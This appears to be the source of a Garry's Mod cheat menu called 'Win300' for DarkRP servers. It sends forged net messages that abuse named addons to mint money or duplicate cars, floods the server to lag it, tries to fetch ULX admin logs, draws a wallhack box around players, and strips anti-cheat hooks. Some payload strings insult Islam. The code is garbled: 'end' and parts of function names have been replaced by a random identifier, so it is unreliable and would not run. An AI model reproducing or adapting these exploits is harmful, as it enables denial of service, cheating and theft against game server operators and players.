Code:
local LKJFHGKJDSDFHNBLMLS = LocalPlayer()
local LKJFJFKAWCDSDFHNBLMLS = 1.2
local EDLKJ45KLRD = 0;
local AGERT = math.random(1,500)
local RTRFERAHRXN = -5000000000
local RTRFEaRAHRXaN = math.random(1,255)
local HJKDRTFYHBFSEF = LocalPlayer():GetEyeTrace().Entity
local DAHSKJLKJHE5TYDJGNDGSKJHRE = end
local LSKDJFHSKJGFHDLSKJFGHDF = hook
function xMsg(message)
EDLKJ45KLRD = EDLKJ45KLRD + 1
chat.AddText(Color(255, 0, 0), "[Win300]: ", Color(255,255,255), message)
DAHSKJLKJHE5TYDJGNDGSKJHRE
function xPnt(message)
EDLKJ45KLRD = EDLKJ45KLRD + 1
MsgC(Color(255, 0, 0), "[Win300]: ", Color(255,255,255), message, "\n")
DAHSKJLKJHE5TYDJGNDGSKJHRE
concommand.Add("Win300_menu", function( LKJFHGKJDSDFHNBLMLS )
local xMenu = DermaMenu() -- Is the same as vgui.Create( "DMenu" )
--Basic check for allowed access.
xMenu:AddOption("Win300 Menu " .. LKJFJFKAWCDSDFHNBLMLS, function()
Derma_Message("Welcome to Win300.\nYou're using a private edition.\nCurrent Version: " .. LKJFJFKAWCDSDFHNBLMLS .. ".", "Win300 " ..LKJFJFKAWCDSDFHNBLMLS, "Return")
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage( "icon16/chart_curve.png" )
xMenu:AddSpacer() //Line spacer to make the menu look a little bit neater.
local xGen = xMenu:AddSubMenu( "General" )
xGen:AddOption("Check For Admins", function()
xMsg("Searching for admins..")
timer.Simple( 1, function()
for k,v in pairs( player.GetAll() ) do
if v:IsValid() and v:IsAdmin() or v:IsUserGroup( "mod" ) or v:IsUserGroup( "Mod" ) or v:IsUserGroup() == "operator" then
xMsg("Admin: " .. v:Nick() .. " - SteamID: " .. v:SteamID() .. ".")
DAHSKJLKJHE5TYDJGNDGSKJHRE
DAHSKJLKJHE5TYDJGNDGSKJHRE
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/shield_go.png")
xGen:AddOption("List Information", function()
xMsg("Searching all players for useful information..")
timer.Simple(1 , function()
for k,v in pairs( player.GetAll()) do
if v:IsValid() and !v:IsAdmin() then
xMsg("User: " .. v:Nick() .. " - SteamID: " .. v:SteamID() .. ".")
DAHSKJLKJHE5TYDJGNDGSKJHRE
DAHSKJLKJHE5TYDJGNDGSKJHRE
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/database_add.png")
xGen:AddOption("Check Player Money", function()
xMsg("Attempting to check everyones wallet..")
timer.Simple(1 , function()
for k,v in pairs( player.GetAll() ) do
local xWallet = (v.DarkRPVars and v.DarkRPVars.money) or 0
xMsg("Player: " .. v:Nick() .. " - Money: $" .. xWallet .. ".")
DAHSKJLKJHE5TYDJGNDGSKJHRE
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/coins.png")
local xVar = xMenu:AddSubMenu( "Variable" )
xVar:AddOption("Force Cheats", function()
xMsg("Forcing sv_cheats for you..")
timer.Simple(1, function()
xMsg("The variable has been set.")
LKJFHGKJDSDFHNBLMLS:ConCommand("incrementvar sv_cheats 0 1 1")
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/lock_break.png")
xVar:AddOption("Force Lua", function()
xMsg("Forcing sv_allowcslua for you..")
timer.Simple(1, function()
xMsg("The variable has been set.")
LKJFHGKJDSDFHNBLMLS:ConCommand("incrementvar sv_allowcslua 0 1 1")
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/lock_break.png")
local HJKDRTFYHBFSEF = xMenu:AddSubMenu( "RDAHSKJLKJHE5TYDJGNDGSKJHREer" )
HJKDRTFYHBFSEF:AddOption("> Screen Material", function()
xMsg("Drawing a nice screen overlay..")
timer.Simple(1, function()
function matScrn()
DrawMaterialOverlay( "effects/combine_binocoverlay.vmt", 0.5 )
DAHSKJLKJHE5TYDJGNDGSKJHRE
LSKDJFHSKJGFHDLSKJFGHDF.Add( "RDAHSKJLKJHE5TYDJGNDGSKJHREerScreenspaceEffects", "MatScreen", matScrn )
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/map_add.png")
HJKDRTFYHBFSEF:AddOption("< Screen Material", function()
xMsg("Removing material scree overlay.")
timer.Simple(1, function()
LSKDJFHSKJGFHDLSKJFGHDF.Remove("RDAHSKJLKJHE5TYDJGNDGSKJHREerScreenspaceEffects", "MatScreen")
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/map_delete.png")
HJKDRTFYHBFSEF:AddOption("> Player Box", function()
xMsg("Drawing a box around every player..")
timer.Simple(1, function()
local rotation_vectors =
{
Vector( 1, 1, 1 ),
Vector( -1, 1, 1 ),
Vector( 1, -1, 1 ),
Vector( -1, -1, 1 )
}
LSKDJFHSKJGFHDLSKJFGHDF.Add( "HUDPaint", "xPlayerBox", function()
surface.SetDrawColor( color_white )
local w, h = ScrW(), ScrH()
for k,v in pairs( player.GetAll() ) do
if v ~= LocalPlayer() and v:IsValid() and v:IsPlayer() then
local p = v:GetPos()
local a = v:GetAngles()
local mins = v:OBBMins()
local maxs = v:OBBMaxs()
local left, top = w, h
local right, bot = 0, 0
for _, v in next, rotation_vectors do
local mins, maxs = mins, maxs
mins:Rotate( a )
maxs:Rotate( a )
local s_mins = ( p + mins * v ):ToScreen()
local s_maxs = ( p + maxs * v ):ToScreen()
left = math.min( left, math.min( s_mins.x, s_maxs.x ) )
top = math.min( top, math.min( s_mins.y, s_maxs.y ) )
right = math.max( right, math.max( s_mins.x, s_maxs.x ) )
bot = math.max( bot, math.max( s_mins.y, s_maxs.y ) )
DAHSKJLKJHE5TYDJGNDGSKJHRE
surface.DrawOutlinedRect( left, top, right - left, bot - top )
DAHSKJLKJHE5TYDJGNDGSKJHRE
DAHSKJLKJHE5TYDJGNDGSKJHRE
DAHSKJLKJHE5TYDJGNDGSKJHRE )
DAHSKJLKJHE5TYDJGNDGSKJHRE)
xMsg("Player box has been enabled.")
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/group_add.png")
HJKDRTFYHBFSEF:AddOption("< Player Box", function()
xMsg("Removing the box around every player.")
timer.Simple(1, function()
LSKDJFHSKJGFHDLSKJFGHDF.Remove( "HUDPaint", "xPlayerBox")
xMsg("Player box has been disabled.")
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/group_add.png")
local xSpam = xMenu:AddSubMenu( "Flood" )
xSpam:AddOption("> Name Stealing", function()
xMsg("Attempting to find players and steal their name..")
timer.Simple( 1, function()
timer.Create("givemename", 0.12, 0, function()
local ThatNameBefore = LKJFHGKJDSDFHNBLMLS:Nick()
for k,v in pairs( player.GetAll() ) do
local ligger_type = math.random(1,2)
local ligger_type1 = math.random(1,2)
if ligger_type1 == ligger_type then
if ThatNameBefore == v:Nick() then
local ligger_type = math.random(1,2)
local ligger_type1 = math.random(1,2)
else
LKJFHGKJDSDFHNBLMLS:ConCommand("darkrp name " .. v:Nick() .. math.random(1,10))
DAHSKJLKJHE5TYDJGNDGSKJHRE
local ligger_type = math.random(1,2)
local ligger_type1 = math.random(1,2)
DAHSKJLKJHE5TYDJGNDGSKJHRE
DAHSKJLKJHE5TYDJGNDGSKJHRE
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/book_add.png")
xSpam:AddOption("< Name Stealing", function()
xMsg("Removing the timer to steal player names..")
timer.Simple( 1, function()
timer.Destroy("givemename")
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/book_delete.png")
xSpam:AddOption("> Chat Spam", function()
xMsg("Beginning to spam random shit..")
timer.Simple( 1, function()
timer.Create("chatspamboi", 1, 0, function()
LKJFHGKJDSDFHNBLMLS:ConCommand("say /ooc " .. table.Random(DFGSSUJSXYFJ) .. "")
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/lock.png")
xSpam:AddOption("< Chat Spam", function()
xMsg("Removing the timer to spam chat..")
timer.Simple( 1, function()
timer.Destroy("chatspamboi")
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/lock.png")
xSpam:AddOption("> Server Lag", function()
xMsg("Resourcing a server message and attempting to lag..")
timer.Simple( 1, function()
timer.Create("uSkid_lag", 1, 0, function()
for i=1,10000 do
net.Start("DarkRP_spawnPocket")
net.SDAHSKJLKJHE5TYDJGNDGSKJHREToServer()
DAHSKJLKJHE5TYDJGNDGSKJHRE
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/disconnect.png")
xSpam:AddOption("< Server Lag", function()
xMsg("Attempting to halt the timer for server lag..")
timer.Simple( 1, function()
timer.Destroy("uSkid_lag")
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/connect.png")
local xDown = xMenu:AddSubMenu( "Download" )
xDown:AddOption("Download Logs", function()
xMsg("Attempting to steal ULX logs..")
timer.Simple( 1, function()
if file.Exists("download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt", "GAME") == "false" then
xMsg("Please delete the ulx logs that are saved in todays date.")
else
RequestFile(os.date( "data/" .. "ulx_logs" .. "/" .. "%m-%d-%y" .. ".txt" ))
DAHSKJLKJHE5TYDJGNDGSKJHRE
xMsg("The logs should be available within around 30 seconds..")
DAHSKJLKJHE5TYDJGNDGSKJHRE)
timer.Simple( 25, function()
xMsg("The downloaded ULX logs should now be ready for you.")
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/arrow_down.png")
local xPloit = xMenu:AddSubMenu( "Exploit" )
xPloit:AddOption("$ Bailout NPC", function()
xMsg("Attempting to find addon and give you money..")
timer.Simple( 1, function()
timer.Create("givemecashlad", 0.1, 0, function()
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
for k,v in pairs( player.GetAll() ) do
net.Start( "BailOut" )
net.WriteEntity( v )
net.WriteEntity( v )
net.WriteFloat( RTRFERAHRXN ) -- $2,000,000 Free cash.
net.SDAHSKJLKJHE5TYDJGNDGSKJHREToServer()
DAHSKJLKJHE5TYDJGNDGSKJHRE
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/money.png")
xPloit:AddOption("$ HitmanX", function()
xMsg("Attempting to find addon and give you money..")
timer.Simple( 1, function()
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
net.Start( "SDAHSKJLKJHE5TYDJGNDGSKJHREMoney" )
net.WriteEntity( LKJFHGKJDSDFHNBLMLS )
net.WriteEntity( LKJFHGKJDSDFHNBLMLS )
net.WriteEntity( LKJFHGKJDSDFHNBLMLS )
net.WriteString( RTRFERAHRXN )
net.SDAHSKJLKJHE5TYDJGNDGSKJHREToServer()
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/money.png")
xPloit:AddOption("$ Derma Hitmenu", function()
xMsg("Attempting to find addon and give you money..")
timer.Simple( 1, function()
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
net.Start("hitcomplete")
net.WriteDouble( 1073500000 )
net.SDAHSKJLKJHE5TYDJGNDGSKJHREToServer()
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/money.png")
xPloit:AddOption("$ DaHit Menu", function()
xMsg("Attempting to find addon and give you money..")
timer.Simple( 1, function()
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
net.Start( "DaHit" )
net.WriteFloat( RTRFERAHRXN )
net.WriteEntity( LKJFHGKJDSDFHNBLMLS )
net.WriteEntity( LKJFHGKJDSDFHNBLMLS )
net.WriteEntity( LKJFHGKJDSDFHNBLMLS )
net.SDAHSKJLKJHE5TYDJGNDGSKJHREToServer()
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/money.png")
xPloit:AddOption("$ HHH Hitmenu", function()
xMsg("Attempting to find addon and give you money..")
timer.Simple( 1, function()
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
for k,v in pairs(player.GetAll()) do
dahater = v
DAHSKJLKJHE5TYDJGNDGSKJHRE
local hitRequest = {}
hitRequest.hitman = uLKJFHGKJDSDFHNBLMLS
hitRequest.requester = uLKJFHGKJDSDFHNBLMLS
hitRequest.target = dahater
hitRequest.reward = -99999999999999999999999
net.Start( 'hhh_request' )
net.WriteTable( hitRequest )
net.SDAHSKJLKJHE5TYDJGNDGSKJHREToServer()
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/money.png")
xPloit:AddOption("$ Boowie NPC", function()
xMsg("Attempting to find addon and give you money..")
timer.Simple( 1, function()
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
net.Start("BuyCar")
net.WriteFloat( RTRFERAHRXN )
net.WriteEntity( LKJFHGKJDSDFHNBLMLS )
net.WriteString("Islam Sucks.")
net.WriteString("Islam Sucks.")
net.WriteString("Islam Sucks.")
net.SDAHSKJLKJHE5TYDJGNDGSKJHREToServer()
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/money.png")
xPloit:AddOption("$ VCMod", function()
xMsg("Attempting to find addon and give you money..")
timer.Simple( 1, function()
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
for i = 0, 100 do
net.Start( "AttemptSellCar" )
net.WriteTable( { E = ent } )
net.SDAHSKJLKJHE5TYDJGNDGSKJHREToServer()
DAHSKJLKJHE5TYDJGNDGSKJHRE
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/money.png")
xPloit:AddOption("$ Car Dealer", function()
local ent = LocalPlayer():GetEyeTrace().Entity
if ( !IsValid( ent ) ) then
xMsg("You must be looking at your car.")
return
DAHSKJLKJHE5TYDJGNDGSKJHRE
xMsg("Attempting to find addon and duplicate car..")
timer.Simple( 1, function()
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
for i = 0, 100 do
net.Start( "RXCAR_Shop_Store_C2S" )
net.WriteTable( { E = ent } )
net.SDAHSKJLKJHE5TYDJGNDGSKJHREToServer()
DAHSKJLKJHE5TYDJGNDGSKJHRE
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/money.png")
xPloit:AddOption("$ Bailout NPC", function()
xMsg("Attempting to find addon and give you money..")
timer.Simple( 1, function()
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
LocalPlayer():EmitSound("ambient/levels/labs/coinslot1.wav",500,100)
DAHSKJLKJHE5TYDJGNDGSKJHRE)
DAHSKJLKJHE5TYDJGNDGSKJHRE):SetImage("icon16/money.png")
--Now we have made a menu, let's make it show up when the console command is run.
xMenu:Open()
xMenu:Center()
DAHSKJLKJHE5TYDJGNDGSKJHRE)
xMsg("Welcome to Win300. You're using version: " .. LKJFJFKAWCDSDFHNBLMLS .. "")
xPnt("Win300 Menu - Opened..")
--Now lets just delete some server LSKDJFHSKJGFHDLSKJFGHDFs that we do not want to see function.
timer.Destroy( "STC" )
LSKDJFHSKJGFHDLSKJFGHDF.Remove("PlayerInitialSpawn", "AddPlayer")
LSKDJFHSKJGFHDLSKJFGHDF.Remove("OnGamemodeLoaded", "___scan_g_init")
LSKDJFHSKJGFHDLSKJFGHDF.Remove("PlayerSay", "screengrab_playersay")
LSKDJFHSKJGFHDLSKJFGHDF.Remove("Think", "PlayerInfoThing")
timer.Destroy("AntiCheatTimer")
timer.Destroy("testing123")
LSKDJFHSKJGFHDLSKJFGHDF.Remove("Think", "sh_menu")